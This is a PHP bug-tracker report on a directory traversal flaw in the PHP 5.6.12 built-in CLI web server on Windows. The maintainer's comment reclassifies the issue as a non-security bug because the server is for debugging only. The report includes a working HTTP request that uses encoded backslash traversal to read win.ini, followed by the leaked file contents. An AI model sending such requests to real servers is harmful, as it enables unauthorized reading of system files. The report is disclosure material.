Sec Bug->Bug #70264 [Opn]: PHP 5.6.12 directory traversal

Edit report at https://bugs.php.net/bug.php?id=70264&edit=1 ID: 70264 Updated by: stas@php.net Reported by: jplopezy at gmail dot com Summary: PHP 5.6.12 directory traversal Status: Open -Type: Security +Type: Bug Package: HTTP related Operating System: Windows 7 PHP Version: 5.6.12 Block user comment: N Private report: Y New Comment: CLI server is a debugging server so should not be used in production context. Previous Comments: ------------------------------------------------------------------------ [2015-08-14 00:05:13] jplopezy at gmail dot com Description: ------------ The bug is in the local php web server for testing (http://php.net/manual/es/features.commandline.webserver.php) This readme says that this webserver is only for testing, but maybe in a lan this issue allow to steal files from the devolverps, or maybe some other people use in production this web server in php. Test script: --------------- Only you need send this request GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1 Host: 127.0.0.1 Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* Expected result: ---------------- Don't display files that escape from the webserver directory. Actual result: -------------- Response with my win.ini ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 CMCDLLNAME32=mapi32.dll CMC=1 MAPIX=1 MAPIXVER=1.0.0.1 OLEMessaging=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=70264&edit=1